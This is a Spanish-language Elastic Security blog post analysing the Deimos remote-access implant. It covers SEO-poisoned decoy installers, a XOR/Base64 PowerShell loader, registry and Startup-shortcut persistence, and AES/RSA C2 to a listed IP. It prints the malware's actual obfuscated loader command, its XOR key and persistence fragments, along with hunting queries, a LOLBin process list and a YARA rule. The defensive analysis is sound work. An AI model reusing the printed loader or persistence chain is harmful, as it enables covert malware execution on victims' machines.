De costa a costa - Escalar la pirámide con el implante Deimos

blog-security-radar-720x420.png
Conclusiones clave de este análisis:
  • Se está desarrollando de forma activa en campañas una herramienta de acceso remoto más allá de las campañas Jupyter Infostealer, SolarMarker y Yellow Cockatoo reportadas inicialmente.
  • El malware emplea varias capas de técnicas de encriptación y ofuscación complejas.
  • El malware incorporó archivos señuelo convincentes y ejecutables de instalación con firma digital.
  • El malware es parte de conjuntos de intrusión que se usan para establecer una posición inicial y mantener la persistencia en entornos disputados.
  • El equipo de Elastic Security completó con éxito un desmantelamiento de la infraestructura de C2 observada.

El implante Deimos es una forma nueva y compleja de malware que se reportó por primera vez en 2020. Esta herramienta de acceso remoto se encuentra en desarrollo activo; su fin es evitar ser detectada, para lo cual usa varias capas de técnicas de encriptación y ofuscación complejas.

Estas contramedidas de defensa avanzadas, que también incluyen archivos señuelo convincentes y ejecutables de instalación con firma digital, pueden frustrar la identificación y el análisis. Sin embargo, el equipo de Elastic Security recientemente completó con éxito un desmantelamiento de la infraestructura de comando y control (C2) observada, lo que nos permitió proporcionar reglas de detección y técnicas de búsqueda de amenazas para ayudar a identificar este implante poderoso.

Aquí se detallan las tácticas, técnicas y procedimientos, o TTP, del implante Deimos. Nuestro objetivo es ayudar a los especialistas en seguridad a aprovechar el Elastic Stack para recopilar y analizar datos de intrusión y sobre el malware mediante la revelación de información sobre cómo funciona Deimos, la cual los creadores intentaron ocultar para fines de defensa.

Visión general

El equipo de inteligencia y analíticas de Elastic rastrea una cepa nueva del implante Deimos de acceso inicial y persistencia previamente asociado con el malware Jupyter Infostealer (rastreado también como Yellow Cockatoo y SolarMarker). Este implante demostró una maduración de las técnicas de ofuscación como resultado de la investigación publicada. Esto indica que el grupo de actividades modifica de forma activa su base de códigos para evadir las contramedidas de detección.

La muestra que observamos no se utilizó como ladrón (stealer) de información. Es in implante que brinda acceso inicial, persistencia y funciones de C2. Esto hace que el implante sea poderoso, dado que puede usarse para lograr cualquier tarea que requiera acceso remoto. Es probable que estas intrusiones sean el comienzo de una campaña concentrada contra las víctimas o que se vendan en masa para otras campañas no asociadas con la recopilación de acceso.

En el análisis se tendrá en cuenta el modelo de Pirámide del dolor de David Bianco para describir el valor de los indicadores atómicos, artefactos, marcas de herramientas y TTP para los autores de malware y cómo descubrirlos puede afectar la eficiencia de los conjuntos de intrusión que aprovechan este implante. Además, proporcionamos algunas reglas de detección y técnicas de búsqueda de amenazas basadas en el host que se pueden aprovechar para identificar este implante y otros con artefactos y TTP similares.

Detalles

El 31 de agosto de 2021, Elastic observó la telemetría de inyección del proceso que compartía técnicas con Jupyter Infostealer, como reportaron Morphisec, Binary Defense y el investigador de seguridad Squibydoo [1] [2] [3] [4] [5]. A medida que comenzamos el análisis y comparamos las muestras que observamos con una investigación anterior, identificamos que se implementó un cambio en la forma de ofuscación. Este cambio puede ser el resultado de varios factores, uno de los cuales es un intento por parte del adversario de omitir o evadir las defensas o análisis de malware existentes.

Nota: Dado que las versiones anteriores de este malware se documentaron de forma detallada, nos enfocaremos en la funcionalidad y las capacidades nuevas observadas.

Durante el análisis dinámico del malware, observamos un comportamiento similar a aquel reportado en otras partes; específicamente, una ofuscación que usa una letanía de variables creadas durante el tiempo de ejecución (variables que son únicas para cada ejecución), directorios, un cifrado XOR y comandos codificados en Base 64. A continuación, encontrarás un ejemplo de las tácticas de ofuscación que usó el autor del malware para dificultar el análisis. Veremos esto en detalle a medida que desglosemos la ejecución del malware.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

Figura 1: PowerShell ejecutado por el instalador de malware

La muestra que observamos creó un archivo codificado en Base 64 y anidado a varios subdirectorios de profundidad en el directorio %USERPROFILE%, y hacía referencia a este archivo con una variable de tiempo de ejecución en el script de PowerShell ($650326ac2b1100c4508b8a700b658ad7 en nuestra muestra). Una vez que PowerShell leía este archivo codificado, se eliminaba, como se muestra en la Figura 2. Otra investigación publicada observó la cadena en Base 64 dentro del comando PowerShell que la hacía visible durante la ejecución. Esto muestra una adaptación de las técnicas de ofuscación que aprovecharon los autores del malware como respuesta a los reportes que publicaron los investigadores de seguridad.

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
Figura 2: Archivo codificado en Base 64 leído y luego eliminado

Además, se incluyó otra variable ($1e3dadee7a4b45213f674cb23b07d4b0 en nuestro ejemplo) con un valor de hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. Mediante la desofuscación del comando de PowerShell, determinamos que este valor era la clave XOR usada para desencriptar el valor del archivo 650326ac2b1100c4508b8a700b658ad7. Ahora que teníamos la ubicación del archivo codificado en Base 64 y la capacidad de desencriptarlo, necesitábamos impedir que se eliminara.

Para hacerlo, aprovechamos la configuración del evento FileDelete para Sysmon. De forma predeterminada, esto crea un directorio en el directorio "C:\Sysmon" y luego coloca todos los archivos eliminados (cuyo nombre está compuesto por el archivo MD5 + hashes SHA256 + 33 0 + extensión) en esa carpeta. Este directorio solo está disponible para el usuario SYSTEM. Usamos PSExec para acceder a la carpeta (psexec -sid cmd). El archivo contenía una cadena codificada en Base 64 de una sola línea.

Como observamos antes en PowerShell, los contenidos están protegidos con un cifrado XOR, pero es un cifrado para el cual tenemos la clave. Con las herramientas de línea de comandos base64 y xortool, podemos decodificar y desencriptar el archivo:

  • base64
    • -D - usar el programa de Base 64 para decodificar
    • -i - el archivo de entrada que debe decodificarse
    • -o - el archivo de salida para guardar el contenido decodificado
  • xortool-xor
    • -r - la clave de cifrado XOR
    • -f - el archivo con encriptación XOR
    • > - salida del archivo desencriptado


base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
  -o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
  -f 650326ac2b1100c4508b8a700b658ad7.decoded \
  > 650326ac2b1100c4508b8a700b658ad7.xor
Figura 3: Desencriptación del archivo codificado en Base 64 con XOR

Esto daba como resultado otro archivo ofuscado que comenzaba con una variable codificada en Base 64 con XOR y terminaba con más PowerShell.

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

Figura 4: Archivo ofuscado final (truncado)

Siguiendo el mismo proceso anterior, identificamos la clave XOR (que quizá intentaba usar un signo = para intentar aparentar que era Base 64) y decodificamos el archivo.

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
Figura 5: Clave de cifrado XOR

Este proceso originó un archivo DLL .NET que crea un identificador de rastreo de implante y archivos usados para persistencia (en la sección Análisis: Acceso inicial se incluye más información sobre el identificador de rastreo).

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Figura 6: Tipo de archivo DLL .NET

El DLL se autodenomina Mars.Deimos y se correlaciona con la investigación previa de Morphisec, Binary Defense y el investigador de seguridad Squibydoo [1] [2] [3] [4] [5]. Las muestras en particular que observamos utilizan la herramienta de endurecimiento de .NET Dotfuscator CE 6.3.0 para dificultar el análisis de malware.

Lo que nos resultó especialmente interesante es que los autores dedicaron tiempo a modificar el malware para intentar hacer que sea más difícil de detectar, lo que indica están motivados a mantener el malware. Es bueno saber esto a medida que avanzamos en la fase de análisis porque significa que podemos afectar un implante de malware valioso que frustrará a quienes lo usen para ganancia financiera.

Análisis

Todos los indicadores a los que se hace referencia en el análisis están ubicados en la sección Indicadores.

La Pirámide del dolor

Antes de sumergirnos en el análisis, hablemos sobre el modelo que usamos como guía en el proceso.

En 2013, el investigador de seguridad David Bianco lanzó un modelo analítico denominado Pirámide del dolor. El objetivo del modelo es comprender cómo revelar distintas partes de una intrusión puede afectar una campaña. Como puedes ver en el modelo a continuación, identificar valores de hash es útil, pero el adversario puede modificar esto fácilmente, mientras que es muy difícil que un adversario modifique la identificación de TTP.

Figura 7: Pirámide del dolor
Figura 7: Pirámide del dolor

El objetivo de usar la Pirámide del dolor es comprender lo más posible sobre la intrusión y proyectar el impacto (es decir, la cantidad de "dolor") que puedes infligir. A lo largo del análisis de las muestras observadas, las superpondremos en la Pirámide del dolor como método ilustrativo para evaluar el impacto potencial.

Hashes de archivos

Una vez que identificamos que habíamos observado una variante nueva de la muestra de malware, aplicamos consultas de búsqueda en nuestro set de datos e identificamos 10 organizaciones únicas en varias verticales, lo que indicaba que esto no parecía tener un objetivo en particular. De esas 10 organizaciones, observamos 10 hashes de archivo de instalador inicial diferentes. Los archivos codificados instalados también son todos distintos.

Por lo cual, si bien esta información es útil, es evidente que usar un hash de archivo como método de detección no sería útil en todas las organizaciones.

Direcciones IP

Tal como han detectado otros investigadores, observamos que en la campaña se usó la misma dirección IP. Esta dirección IP se asoció por primera vez con archivos maliciosos el 30 de agosto de 2021.

IP           216.230.232.134
Anycast      false
City         Houston
Region       Texas
Country      United States (US)
Location     29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal       77052
Timezone     America/Chicago

Figura 8: Información sobre la dirección IP identificada

Esta dirección IP se reportó en varios sitios de explotación, y diversos investigadores de seguridad la identificaron de forma independiente. Iniciamos una solicitud de desmantelamiento con éxito de la dirección IP el 21 de septiembre de 2021, y se eliminó el acceso de la infraestructura C2 observada a cualquier implante.

Si bien este indicador atómico es útil para bloquear un firewall, resulta trivial para un adversario cambiar a otra dirección IP, así que intentemos subir en la pirámide y causar un mayor impacto en el adversario

Artefactos

Desarrollo de recursos

Las muestras de archivos señuelo que analizamos tenían principalmente firmas de organizaciones en países de habla escandinava y eslava, y hubo dos casos aislados de países de habla inglesa y francesa. Varias muestras contaban con una firma con certificado digital registrado como "Spoloènos s Ruèením Obmedzeným" (S.R.O.). S.R.O. es una designación comercial para empresas eslovacas que son propiedad de una entidad extranjera.

La S.R.O. que observamos como propietaria de las firmas digitales (SRO núm. 1) se formó el 29 de julio de 2021, y el inicio de la firma se observó el 26 de agosto de 2021. Además, la S.R.O. que observamos es propiedad de otra S.R.O. (SRO núm. 2).

Figura 9: S.R.O. de firma digital del archivo señuelo (SRO núm. 1) y propietario (SRO núm. 2)
Figura 9: S.R.O. de firma digital del archivo señuelo (SRO núm. 1) y propietario (SRO núm. 2)

La SRO núm. 2 ha estado en funcionamiento desde el 19 de agosto de 2014 y proporciona diversos servicios. El propietario de SRO núm. 2 tiene un socio de nombre único ubicado en un país del antiguo bloque del este de Europa (director ejecutivo).

Figura 10: SRO núm. 2 y SRO núm. 1 comparten el mismo director ejecutivo
Figura 10: SRO núm. 2 y SRO núm. 1 comparten el mismo director ejecutivo

No podemos establecer de forma definitiva si las organizaciones o personas están involucradas de forma intencional, son intermediarios o son participantes involuntarios, por lo que no los nombraremos. Este proceso de obtener certificados posiblemente robados se alinea con otras muestras que analizamos. Es evidente, sin embargo que estos certificados se proporcionaron, la persona (o las personas) responsable parece tener un buen conocimiento de la burocracia y las leyes necesarias para registrar en Eslovaquia una empresa como propiedad de una entidad extranjera.

Acceso inicial

Observamos la mayoría de los indicadores en este nivel. Los indicadores en el nivel Artefactos, tanto el host como la red, son valiosos para un defensor porque es difícil que un adversario los cambie sin realizar modificaciones considerables en la arquitectura de cómo funciona el malware. Esto es distinto de los indicadores atómicos (hashes e infraestructura) en cuanto a que esos elementos son modulares y pueden simplemente actualizarse. Los artefactos, como las claves de cifrado (que veremos a continuación), suelen estar codificados de forma rígida en el código fuente antes de la compilación y necesitan una cantidad de trabajo considerable para modificarse.

El instalador crea una serie de directorios anidados cuyos nombres tienen 32 caracteres, son alfanuméricos y están en minúscula. En todos los casos que observamos, hay seis directorios anidados y un solo archivo en el subdirectorio final con la misma convención de nomenclatura. Durante la ejecución inicial, este archivo se carga, se desofusca con una clave XOR estática de 52 bytes y luego se ejecuta como un script de PowerShell. Incluimos una consulta de búsqueda de amenaza en la sección Detección que identifica esta actividad.

Además, el ensamblado .Net crea una cadena mediante la enumeración de todos los archivos ubicados en %USERPROFILE%\APPDATA\ROAMING. Esto se almacena como el valor hwid, que es un identificador único de esta máquina. Si el archivo aún no existe, se crea mediante la generación de 32 bytes aleatorios y su codificación con un codificado en Base 64 personalizado.

Persistencia

Una vez ejecutado, el script de PowerShell establece la persistencia del malware mediante la generación de una cantidad aleatoria entre 100 y 200 archivos en un directorio denominado %APPDATA%\Microsoft\. La cadena aleatoria contiene solo letras en minúscula y mayúscula de la A a la Z y dígitos del 0 al 9. Podría tener cualquier longitud entre 10 y 20 caracteres. Este directorio es el directorio de organización. Estos archivos contienen una cantidad de bytes generada de forma aleatoria, entre 50 000 bytes y 200 000 bytes. Los archivos en sí se denominan ., en donde cada cadena aleatoria sigue la misma convención que el nombre del directorio. Por último, se escribe un archivo final en este directorio, que contiene un DLL .Net ofuscado. Este es el implante Deimos en sí. Se asemeja a los archivos ficticios con atributos similares en este directorio, en un intento por evadir las defensas.

El script de función siguiente creará dos claves de registro que proporcionan un controlador shell de Windows para el primer archivo de datos aleatorios creado anteriormente. Usa la extensión de archivo de dicho archivo para asociar una solicitud para ejecutarlo con un comando de PowerShell. Las claves de registro se crean en HKEY_CURRENT_USER\Software\Classes\\, donde la cadena aleatoria sigue la misma convención mencionada anteriormente, excepto por los el uso de todos los caracteres en minúscula. La primera clave tendrá además una subclave \Shell\Open\Command que contiene el script cargador de PowerShell. El valor de la cadena en sí tiene una combinación de mayúsculas y minúsculas en un intento de ser más difícil de buscar. Por ejemplo, en nuestra muestra se usó PowErShELl. La segunda clave es un alias efectivo que coincida con la extensión de archivo del primer archivo generado aleatoriamente antes. Su valor coincide con el valor en minúscula de la cadena aleatoria que se usó en la ruta de la primera clave.

El artefacto de persistencia final es un archivo .LNk ubicado en el directorio StartUp del usuario. En esta muestra, está codificado de forma rígida que su nombre sea a44f066dfa44db9fba953a982d48b.LNk. El acceso directo está configurado para iniciar el primer archivo generado de forma aleatoria antes, y se abrirá en una ventana minimizada. Cuando el usuario inicie sesión, el archivo de enlace le indicará a Windows que inicie el archivo, pero no es ejecutable. Las claves de registro anteriores le indican a Windows que inicie el comando PowerShell configurado en la primera clave indicada arriba para ejecutar el archivo. El comando de PowerShell contiene la ruta completa al DLL .Net ofuscado y la clave XOR para desofuscarlo. Por último, PowerShell ejecutará el ensamblado DLL .Net con la llamada al método de clase [Mars.Deimos]::interact(). Esta arquitectura de persistencia puede ser difícil de seguir en texto, por lo que a continuación incluimos una representación visual del mecanismo de persistencia.

Figura 11: Flujo del mecanismo de persistencia
Figura 11: Flujo del mecanismo de persistencia

Fase de comando y control

El malware proporciona un implante para uso general que puede realizar cualquier acción en su nivel de privilegio. Por ejemplo, puede recibir y ejecutar un archivo de Windows PE, un script de PowerShell o un ensamblado DLL .Net, o ejecutar comandos PowerShell arbitrarios.

Existen algunas permutaciones específicas del comando de encapsulaciones de carga, pero se pasan a un método común para realizar la solicitud web al servidor C2. La solicitud web usa un método HTTP POST y configura un tiempo de espera de 10 minutos para establecer la comunicación..

No se configuran otros encabezados además de los predeterminados que completa el proveedor WebRequest .Net, que son los siguientes: Host, Content-Length y Connection: Keep-Alive.

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

Figura 12: Encabezados HTTP C2

En la Figura 13 se muestra el volcado hexadecimal del cuerpo de la solicitud POST del cliente.

Figura 13: Cuerpo HTTP C2
Figura 13: Cuerpo HTTP C2

Los primeros bytes en blanco se generan aleatoriamente y se anteponen al cuerpo para ofuscar patrones en la comunicación de red. Habrá entre 0 y 512 de estos bytes. A continuación, en verde, se muestra un byte nulo, que marca el fin de datos aleatorios. Los 10 bytes siguientes, en azul, son un valor "cookie" que se envía en la última comunicación desde el servidor. Es probable que esto prevenga una nueva reproducción de los paquetes capturados en el servidor, dado que cada comunicación es única. No hay nada específico que requiera que sean 10 bytes, pero en todo el tráfico que observamos, fue así. En el caso del registro inicial, no está presente. Por último, los bytes restantes que se muestran en rojo son el cuerpo encriptado. Para el registro inicial, son exactamente 256 bytes de datos con encriptación RSA que incluyen la clave que se usará en las comunicaciones siguientes y el identificador de hardware único de este implante. En las comunicaciones restantes, el cliente usa el modo CBC AES-128 para la encriptación. Para la encriptación AES, la longitud de esta parte siempre será un múltiplo de 16 bytes.

La clave pública RSA usada para el protocolo de intercambio inicial es única en cada campaña. Con la regla YARA de la Figura 24, logramos descubrir un total de 65 muestras del implante. La clave RSA proporcionó una tabla dinámica que permitió discernir campañas únicas, que abarcaban países desde los Estados Unidos hasta Moldavia. Solo el 12.5 % de las muestras incluían características de robo de información, similar a lo que se observó con Jupyter Infostealer. El resto de las muestras fueron el implante Deimos sin capacidades de robo de información adicionales. Esto podría significar que el implante está ganando popularidad porque cuenta con todas las características y puede usarse para el acceso inicial y la persistencia de cualquier campaña.

Bucle principal

Una vez completo el proceso de registro, se inicia el bucle de proceso principal. La acción predeterminada del implante durante el bucle principal es la acción de ping. El ping envía información sobre el entorno, incluido el nombre de la máquina, la versión de Windows, la arquitectura de CPU, información acerca de si el usuario tiene privilegios administrativos y una cadena de versión para el implante.

Si hay programada una tarea para el implante, la respuesta al comando de ping contendrá un valor de estado configurado como "file" o "command". Si no hay ninguna tarea dada, el implante quedará en modo de suspensión durante 20 segundo más una espera aleatoria de entre 0 y 20 segundos. Este es el tiempo de espera entre todas las tareas.

Para las tareas "file", el implante realiza de inmediato otra solicitud con el atributo task_id desde la definición de la tarea para recuperar el archivo. El implante espera un archivo "exe", un archivo "ps1" o un "module", que es un archivo de ensamblado .Net.

Cuando se descarga un "exe", se escribirá en un archivo en %TEMP%\.exe, donde RANDOM_NAME es un valor alfanumérico de 24 caracteres con todas letras mayúsculas. Se inicia un nuevo proceso de inmediato a través de la ejecución del archivo, y el estado se reporta en el siguiente intervalo de tareas.

Cuando se descarga un archivo "ps1", los contenidos del script se pasan a un nuevo proceso de PowerShell con la entrada estándar.

Por último, los archivos "module" se agregan a un "gestor de plugins" y ejecutan el método "Run".

Para las tareas "command", no se requiere ninguna solicitud adicional. El valor "command" de la respuesta contiene código PowerShell que se ejecutará al igual que el tipo de archivo "ps1".

Presumiblemente, la diferencia es para los scripts rápidos o quizá operaciones interactivas; el actor de la amenaza usaría el tipo "command". En el caso de scripts más extensos, se usaría el tipo "file".

Herramientas

Si observamos los metadatos de todas las muestras observadas, podemos ver una conexión de alta confianza en cuanto a que todos se crearon con una sola plataforma de software PDF.

Comments                        : This installation was built with Inno Setup.
Company Name :
File Description : SlimReader Setup
File Version :
Legal Copyright : (c) InvestTech
Original File Name :
Product Name : SlimReader
Product Version : 1.4.1.2
Figura 14: Metadatos de archivos señuelo de malware

Si bien este software parece ser legítimo, parece que se usa con frecuencia para crear archivos señuelo. Observamos 53 muestras de malware, o adyacentes a malware, creadas con la herramientaSlimReader. Además, el equipo de investigación de eSentire identificó a SlimReader como la herramienta preferida para crear, según lo reportado, varios cientos de miles de archivos señuelo.

TTP

En lo más alto de la pirámide, observamos una característica presente en nuestras muestras y en otras reportadas por investigadores de seguridad. En todos los casos observados, el malware usaba técnicas conocidas como redireccionamientos engañosos de Google y envenenamiento de optimización de motores de búsqueda (SEO) para engañar a los usuarios a fin de que instalen el malware.

El envenenamiento de SEO es una técnica que se usa para incluir palabras clave de SEO en un documento y mejorar su posicionamiento en los motores de búsqueda, de forma que los documentos y sitios web maliciosos aparezcan primero en los resultados de búsqueda web. Además, los redireccionamientos engañosos de Google son una técnica que se usa para asignar el nombre al instalador de malware inicial según la búsqueda en Google, como una forma de engañar al usuario para que haga clic en el archivo que descargó. A modo de ejemplo, si un usuario busca "free resume template" (plantillas de CV gratis) y hace clic en un sitio web malicioso que parece tener ese archivo, se le mostrará un instalador de malware llamado, en este caso, free-resume-template.exe. El malware usará un ícono de PDF aunque sea un ejecutable, con el objetivo de engañar al usuario para que ejecute el archivo PE, lo cual inicia los procesos de PowerShell resaltados a continuación en la vista de Elastic Analyzer.

Figura 15: Malware que ejecuta procesos de PowerShell ofuscados
Figura 15: Malware que ejecuta procesos de PowerShell ofuscados

Es primordial comprender los procesos de malware y cómo interactúan con los distintos elementos de la Pirámide del dolor para generar impactos a largo plazo en el grupo de actividades y los conjuntos de intrusión.

Impacto

Los conjuntos de intrusión descritos aprovechan varias tácticas y técnicas categorizadas por el marco de trabajo MITRE ATT&CK®. Puede haber otros TTP, sin embargo, no se observaron durante nuestro análisis.

Tácticas

Técnicas/subtécnicas

Detección

Hay una regla de detección existente que identificará de forma genérica esta actividad. También lanzamos dos reglas adicionales para detectar estas técnicas. Además, proporcionamos consultas de búsqueda de amenazas que puedan identificar otros conjuntos de intrusión mediante técnicas similares.

Lógica de detección

Elastic mantiene un repositorio público para la lógica de detección con el Elastic Stack y Elastic Endgame.

Nuevas reglas de detección

Modificaciones de registro sospechosas

Extensión de archivos anormal en la ruta de itinerancia de AppData del usuario

Consultas de búsqueda de amenazas

Estas búsquedas pueden usarse en el editor de búsquedas en Security (Seguridad) -> Timelines (Líneas de tiempo) -> New Timeline (Nueva línea de tiempo) → Correlation (Correlación) de Kibana. Si bien estas búsquedas identificarán este conjunto de intrusiones, también pueden identificar otros eventos de notoriedad que, una vez que se investigan, pueden llevar a otras actividades maliciosas.

Esta búsqueda identificará el archivo instalado inicial que contiene el instalador ofuscado.

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""
Figura 16: Consulta de búsqueda de amenaza que identifica el instalador inicial
Figura 17: Consulta de búsqueda de amenaza que identifica el instalador inicial con Timelines (Líneas de tiempo)
Figura 17: Consulta de búsqueda de amenaza que identifica el instalador inicial con Timelines (Líneas de tiempo)

Esta búsqueda identificará el archivo “Hardware ID” (Identificador de hardware) único (hwid) que se crea la primera vez que se ejecuta el implante. Este archivo de identificador se usa para identificar de forma exclusiva esta instalación.

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""
Figura 18: Consulta de búsqueda de amenaza que identifica el Hardware ID (Identificador de hardware)
Figura 19: Consulta de búsqueda de amenaza que identifica el Hardware ID (Identificador de hardware) con Timelines (Líneas de tiempo)
Figura 19: Consulta de búsqueda de amenaza que identifica el Hardware ID (Identificador de hardware) con Timelines (Líneas de tiempo)

Esta búsqueda identificará cualquier archivo con una extensión de archivo de diez o más caracteres en la ruta AppData\Roaming.

file where file.path : "*\\appdata\\roaming\\*" and 
length(file.extension) >= 10 and 
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")
Figura 20: Consulta de búsqueda de amenaza que identifica extensiones de archivos largos
Figura 21: Consulta de búsqueda de amenaza que identifica extensiones de archivos largos en Timelines (Líneas de tiempo)
Figura 21: Consulta de búsqueda de amenaza que identifica extensiones de archivos largos en Timelines (Líneas de tiempo)

Esta búsqueda identificará un valor de cadena largo con la palabra "powershell" en el registro.

registry where  registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100
Figura 22: Consulta de búsqueda de amenaza que identifica cadenas de registro largas
Figura 23: Consulta de búsqueda de amenaza que identifica cadenas de registro largas en Timelines (Líneas de tiempo)
Figura 23: Consulta de búsqueda de amenaza que identifica cadenas de registro largas en Timelines (Líneas de tiempo)

Reglas YARA

Creamos una regla YARA para identificar la presencia del archivo DLL troyano Deimos descrito en este blog.

rule Windows_Trojan_Deimos_DLL {
    meta:
        author = "Elastic Security"
        creation_date = "2021-09-18"
        last_modified = "2021-09-18"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Deimos"
        threat_name = "Windows.Trojan.Deimos"
        description = "Detects the presence of the Deimos trojan DLL file."
        reference = ""
        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

    strings:
        $a1 = "\\APPDATA\\ROAMING" wide fullword
        $a2 = "{\"action\":\"ping\",\"" wide fullword
        $a3 = "Deimos" ascii fullword
        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
    condition:
        all of ($a*) or 1 of ($b*)
}

Figura 24: Regla YARA de DLL Deimos

Puedes acceder a esta regla YARA aquí.

Recomendaciones de defensa

Los pasos siguientes pueden aprovecharse para mejorar la postura con respecto a la protección de una red.


  1. Revisa e implementa la lógica de detección anterior en tu entorno con tecnología como Sysmon y Elastic Endpoint o Winlogbeat.
  2. Revisa y asegúrate de tener desplegadas las actualizaciones de seguridad de Microsoft más recientes.
  3. Mantén backups de los sistemas críticos como respaldo para una recuperación rápida.

Referencias

En todo el documento se hizo referencia a la investigación siguiente:


Indicadores

IndicadoresTipoNota
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421Hash SHA256Archivo señuelo
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21fHash SHA256Instalador de malware
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54Hash SHA256Archivo DLL .NET
216[.]230[.]232[.]134Dirección IPComando y control
  • Puestos vacantes

    Trabaja para un equipo global y distribuido en el cual encontrar a alguien como tú está a solo una reunión por Zoom de distancia. ¿Trabajo flexible con impacto? ¿Oportunidades de desarrollo desde el inicio?